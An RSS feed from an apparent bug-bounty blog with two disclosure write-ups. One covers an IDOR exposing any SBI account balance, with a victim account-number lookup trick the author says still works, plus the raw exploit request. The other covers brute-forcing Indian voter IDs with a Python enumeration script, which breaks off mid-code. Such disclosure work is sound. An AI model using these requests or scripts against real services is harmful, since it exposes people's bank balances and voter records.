<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Aziz Al Aman</title>
    <description>Cyber Security, Bug Bounties, CTF</description>
    <link>https://nxtexploit.comblog//</link>
    <atom:link href="https://nxtexploit.comblog//feed.xml" rel="self" type="application/rss+xml" />
    
      <item>
        <title>How I Managed to Check Anyone’s SBI Bank Balance Using Just a Phone Number</title>
        <description>&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;/blog/images/SBI-banner.png&quot; /&gt;
&lt;/p&gt;

&lt;p&gt;Hello Bug Hunters,&lt;/p&gt;

&lt;p&gt;Hope your bounties💸 are treating you well. Recently, I opened a bank account with SBI (I usually prefer private banks, but needed this for specific reasons). Like many government banks, they pushed additional add-ons — insurance and a demat account. Not knowing these weren’t mandatory, I declined insurance but agreed to open a demat account.&lt;/p&gt;

&lt;p&gt;The next day, I received my credentials via email and logged into my demat account. While exploring the platform, I noticed an interesting feature. Although I typically avoid testing assets that don’t offer rewards (no money, no bugs), I figured this would only take 5 minutes to test.&lt;/p&gt;

&lt;p&gt;In this write-up, I’ll disclose a critical security flaw I discovered in SBI Bank’s system that allowed me to check anyone’s bank account balance using just their phone number or account number. (Target user doesn’t need to have a demat account - works on every SBI account holder)&lt;/p&gt;

&lt;h3 id=&quot;vulnerability-overview&quot;&gt;Vulnerability Overview:&lt;/h3&gt;

&lt;p&gt;The vulnerability was an &lt;strong&gt;Insecure Direct Object Reference (IDOR)&lt;/strong&gt; in the “Get Balance” feature of the SBI Securities demat account portal. By manipulating the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AccountNo&lt;/code&gt; parameter, I was able to retrieve the account balance of &lt;strong&gt;any SBI bank account&lt;/strong&gt;, regardless of whether it had a demat account.&lt;/p&gt;

&lt;h3 id=&quot;attack-prerequisites&quot;&gt;Attack Prerequisites:&lt;/h3&gt;

&lt;p&gt;Getting Account details(Account Number):&lt;/p&gt;

&lt;h4 id=&quot;step-1-obtaining-account-detailsstill-works&quot;&gt;&lt;strong&gt;Step 1:&lt;/strong&gt; Obtaining Account Details:(still works)&lt;/h4&gt;

&lt;p&gt;The main challenge was obtaining the victim’s account number. From an attacker’s perspective, bank account numbers are not publicly available. However, I discovered that &lt;strong&gt;NSDL Payments Bank&lt;/strong&gt; displays the receiver’s full account details, including the account number, IFSC code, and name, in transaction statements when money is sent via a phone number or UPI ID. Practically, obtaining these details requires initiating a small transaction, &lt;strong&gt;such as sending ₹1 to the victim.&lt;/strong&gt;&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;/blog/images/nsdl-statement.jpg&quot; /&gt;
&lt;/p&gt;

&lt;h4 id=&quot;step-2-exploiting-the-idor-vulnerability-to-obtain-the-account-balance&quot;&gt;&lt;strong&gt;Step 2:&lt;/strong&gt; Exploiting the IDOR Vulnerability to Obtain the Account Balance:&lt;/h4&gt;

&lt;p&gt;After logging into my demat account, I found a feature called “Get Balance” that fetches the bank account balance linked to the demat account. This feature had a critical flaw.&lt;/p&gt;

&lt;p&gt;The request contained a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;POST&lt;/code&gt; parameter &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;amp;AccountNo=1234567890&lt;/code&gt; that was vulnerable to IDOR. By replacing my account number with the victim’s account number, the response revealed:&lt;/p&gt;

&lt;p&gt;The victim’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Account Balance&lt;/code&gt; &amp;amp; Account type &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(S=Savings, C=Current)&lt;/code&gt;&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;/blog/images/sbi-dashboard.png&quot; /&gt;
&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;/blog/images/sbi-bug.jpeg&quot; /&gt;
&lt;/p&gt;

&lt;h3 id=&quot;technical-details&quot;&gt;Technical Details:&lt;/h3&gt;

&lt;h3 id=&quot;vulnerable-request&quot;&gt;Vulnerable Request:&lt;/h3&gt;

&lt;div class=&quot;language-http highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;POST&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;/FundHoldandrelease?method=processOIResult&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;HTTP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;2&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Host&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;trade.sbisecurities.in&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Content-Type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;application/x-www-form-urlencoded&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Cookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;JSESSIONID=YOUR_SESSION_ID&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;User-Agent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Mozilla/5.0&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Referer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;https://trade.sbisecurities.in/authenticate&lt;/span&gt;

ClientId=400086XXXX&amp;amp;UserId=722XXX1&amp;amp;sClientType=IC&amp;amp;BankId=004&amp;amp;AccountNo=443854XXXXX&amp;amp;TransactionType=3&amp;amp;Flag=BL&amp;amp;Channel=I&amp;amp;Terminal=ITS&amp;amp;theForm=fundholdreleaseform&amp;amp;checkID=40008XXXXX
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;response&quot;&gt;Response:&lt;/h3&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;s&quot;&gt;HTTP/2 200 OK&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Content-Type&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;application/json&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Content-Length&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;37&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Content-Security-Policy&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;report-uri /report-csp.php&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;X-Frame-Options&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;SAMEORIGIN&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;X-Content-Type-Options&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;nosniff&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Strict-Transport-Security&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;max-age=31536000; includeSubDomains&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Access-Control-Allow-Origin&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;https://trade.sbisecurities.in&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Set-Cookie&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;BIGipServertrade.sbisecurities.in={redacted}; HttpOnly; Secure&lt;/span&gt;

&lt;span class=&quot;pi&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;code&quot;&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;SUCCESS&quot;&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;data&quot;&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;S|5407.19&quot;&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The response format &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;S|5407.19&quot;&lt;/code&gt; indicates:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;S&lt;/strong&gt; = Savings account type&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;5407.19&lt;/strong&gt; = Current account balance in INR&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;disclosure-and-resolution&quot;&gt;Disclosure and Resolution:&lt;/h3&gt;

&lt;p&gt;I responsibly disclosed this security flaw to &lt;a href=&quot;https://www.cert-in.org.in/&quot;&gt;&lt;strong&gt;CERT-In&lt;/strong&gt;&lt;/a&gt;, and they coordinated with SBI to fix the issue.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;I hope you found this writeup informative. If you have any questions, feel free to reach out to me on &lt;a href=&quot;https://linkedin.com/in/nxtexploit&quot;&gt;Linkedin&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;May God reward you with goodness and abundant bounties.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;— Aziz Al Aman&lt;/strong&gt;&lt;/p&gt;
</description>
        <pubDate>Tue, 21 Oct 2025 00:00:00 +0000</pubDate>
        <link>https://nxtexploit.comblog//vdp/2025/10/21/how-i-managed-to-check-anyones-sbi-bank-balance-using-just-a-phone-number/</link>
        <guid isPermaLink="true">https://nxtexploit.comblog//vdp/2025/10/21/how-i-managed-to-check-anyones-sbi-bank-balance-using-just-a-phone-number/</guid>
      </item>
    
      <item>
        <title>Exposing Millions of Voter ID card users’ details.</title>
        <description>&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;/blog/images/voter.webp&quot; /&gt;
&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Hi, Everyone. hope you’re well. I’m &lt;a href=&quot;https://twitter.com/nxtexploit&quot;&gt;Aziz&lt;/a&gt;. Through this write-up, I will share some security issues I’ve found on the official Voter ID card maintaining platform &lt;a href=&quot;https://nvsp.in&quot;&gt;http://nvsp.in&lt;/a&gt;. I was filling out a correction form for my mom’s card, I’m not really interested in finding bugs on gov websites :`) that moment &lt;a href=&quot;https://portswigger.net/burp/documentation/desktop/penetration-testing&quot;&gt;burpsuite &lt;/a&gt;was running in the background and I thought let’s have a try. After spending half an hour I found some critical issues that I’m going to share. All these issues are already fixed by the government.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;In India, a &lt;a href=&quot;https://www.google.com/search?q=what+is+voter+ID+%28india%29&quot;&gt;Voter ID&lt;/a&gt; card is an identity document issued by the Election Commission of India to adult domiciles of India who have reached the age of 18, which primarily serves as an identity proof for Indian citizens while casting their ballot in the country’s municipal, state, and national elections. More than &lt;strong&gt;780 million&lt;/strong&gt; Voter IDs are active at present.&lt;/p&gt;

&lt;hr /&gt;
&lt;p align=&quot;center&quot;&gt;&lt;h2&gt;Bruteforcing valid Voter IDs and extracting details (IDOR / BOLA)&lt;/h2&gt;&lt;/p&gt;

&lt;p&gt;While registering a new account it shows two options “I have &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EPIC&lt;/code&gt; number” and “I don’t have &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EPIC&lt;/code&gt; number”. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EPIC&lt;/code&gt; stands for Electors Photo Identification Card and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EPIC&lt;/code&gt; number is nothing but Voter ID no. If we chose we don’t have a Voter ID number then they will give you an option to add after registering on the portal. After registration, I tried to add any random &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EPIC&lt;/code&gt; no. with my account but it show it’s not valid. So I sent that HTTP request to burp intruder for &lt;a href=&quot;https://en.wikipedia.org/wiki/Brute-force_attack&quot;&gt;brute-forcing&lt;/a&gt;.&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;https://cdn-images-1.medium.com/max/2728/1*SKG6_nhMm0PkRkRXJjK2yg.png&quot; /&gt;
&lt;/p&gt;

&lt;p&gt;A Voter ID also known as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EPIC&lt;/code&gt; number is an alphanumerical ID, it contains three Alphabets at starting and seven numbers i.e. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WRI2345678&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RDH2345678&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DTN2345678&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;YCV2345678&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NLN2345678&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;XMB2345678&lt;/code&gt;, etc. These three alphabets are Not random alphabets, you can find similar IDs with similar these three alphabets in beginning but the rest seven digits are different.&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;https://cdn-images-1.medium.com/max/2000/1*oCiejaOMRmwdEpIRzi27PQ.png&quot; /&gt;
&lt;/p&gt;

&lt;p&gt;I added the payload position on these seven-digit numbers on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Epic_no=&lt;/code&gt; parameter i.e &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Epic_no=WRI$2345678$&lt;/code&gt;  (as you can see in the below screenshot.)&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;https://cdn-images-1.medium.com/max/2236/1*xz61EAZwEhSWlsDpMkJSSw.png&quot; /&gt;
&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt; Adding payload position &lt;/p&gt;

&lt;p&gt;Surprisingly there is no limitation implemented in the backend and I was able to send &lt;strong&gt;unlimited requests&lt;/strong&gt; without getting blocked by firewall. As a result backend server responding 302 redirections for every valid voter ID. (As shown in the screenshot below)&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;https://cdn-images-1.medium.com/max/2740/1*dLe_eyFiPf9amQz0o50meQ.png&quot; /&gt;
&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;
  Responding 302 for every valid voter ID
&lt;/p&gt;

&lt;p&gt;Then I wrote a &lt;a href=&quot;https://github.com/nxtexploit/Voter-ID-bruteforcer/blob/main/Voter-ID-bruteforcer.py&quot;&gt;python script&lt;/a&gt; that will brute force the values and give output all valid voter_IDs for me.&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;https://cdn-images-1.medium.com/max/2000/1*DA8ghQIWnJlNZty0OK6oEA.gif&quot; /&gt;
&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;urllib3&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;requests&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;time&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;termcolor&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;colored&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;urllib3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;disable_warnings&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;start&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;perf_counter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; 

&lt;span class=&quot;n&quot;&gt;cookies&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&apos;nvsp&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;4e565XXXXX&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&apos;cookiesession1&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;678B286C164561FFEFXXXXXXXXXXX&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&apos;nvsp&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;4e56XXXXX&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&apos;nvspid&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;ycnpiabqfasdf0asdf09ad&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&apos;__RequestVerificationToken&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;taDxPTIR3vxuyduujVCoi5eJdSlsAv1X0MQea7VYvLf6ksNDNsK7BkQZbNLSKagASDFpouasdfuopasfcsCmlofM6tTlC1opGS9FBEjYYXxC-z9ze73zdtEjUXtq9JfGVDfsXwt3WmQ925gSsbUw2&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&apos;.ASPXAUTH&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;53BDCF7905E361CB6ECE80B77506A1A4A54DFS6546A5DF787AS8DFB2B9CE6874FDE524BF7BAE0DDC59329705AB29D49A148B4494341EC7634C13DB69FA25425DCA10CAADA3A10B025D58D8220E842959F0C650A8DF39B43039354B537BCE61AFB4922B99E22F20DC099C0DE9BC2CA53D1A37F387867855DDE5D89583B2F5F95D898A&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&apos;Host&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;www.nvsp.in&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&apos;Cache-Control&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;max-age=0&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&apos;Sec-Ch-Ua&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;&quot;.Not/A)Brand&quot;;v=&quot;99&quot;, &quot;Google Chrome&quot;;v=&quot;103&quot;, &quot;Chromium&quot;;v=&quot;103&quot;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&apos;Sec-Ch-Ua-Mobile&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;?0&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&apos;Sec-Ch-Ua-Platform&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;&quot;Windows&quot;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&apos;Upgrade-Insecure-Requests&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;1&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&apos;Origin&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;https://www.nvsp.in&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&apos;Content-Type&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;application/x-www-form-urlencoded&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&apos;User-Agent&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&apos;Accept&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&apos;Sec-Fetch-Site&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;same-origin&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&apos;Sec-Fetch-Mode&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;navigate&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&apos;Sec-Fetch-User&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;?1&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&apos;Sec-Fetch-Dest&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;document&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&apos;Referer&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;https://www.nvsp.in/Account/MyProfile&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&apos;Accept-Language&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;en-US,en;q=0.9&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&apos;Connection&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;close&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;voter_ID&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2000000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2999999&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;


    &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;__RequestVerificationToken=dayrB-CCldwVYHXi7OE8b455jM3jLXRIdlHGQ5Wf4XyFE_7jjo1X3VfmkC4ZanqFO6h0XtveuAmSk1SIWWmV-SbA7nTUIJNKAfyRoiG43FvEAlDPi5VfkJWpGn9sV8IuFuBezLnC-tZSYFGqrRbECXgqlxpSduENgqaWy7oWQK01&amp;amp;OTP=&amp;amp;UserId=UQH34XXXXXXXX&amp;amp;firstName=Aziz&amp;amp;lastName=&amp;amp;Email=XXXXXXXX%40gmaill.com&amp;amp;Epic_no=WRI&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;voter_ID&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;&amp;amp;PhoneNumber=XXXXXXXX87&amp;amp;st_code=S25&amp;amp;ac_no=55&amp;amp;PART_NO=42&amp;amp;Captcha=&amp;amp;Code=&apos;&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;requests&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;post&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;https://www.nvsp.in/Account/MyProfile&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;allow_redirects&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cookies&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cookies&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 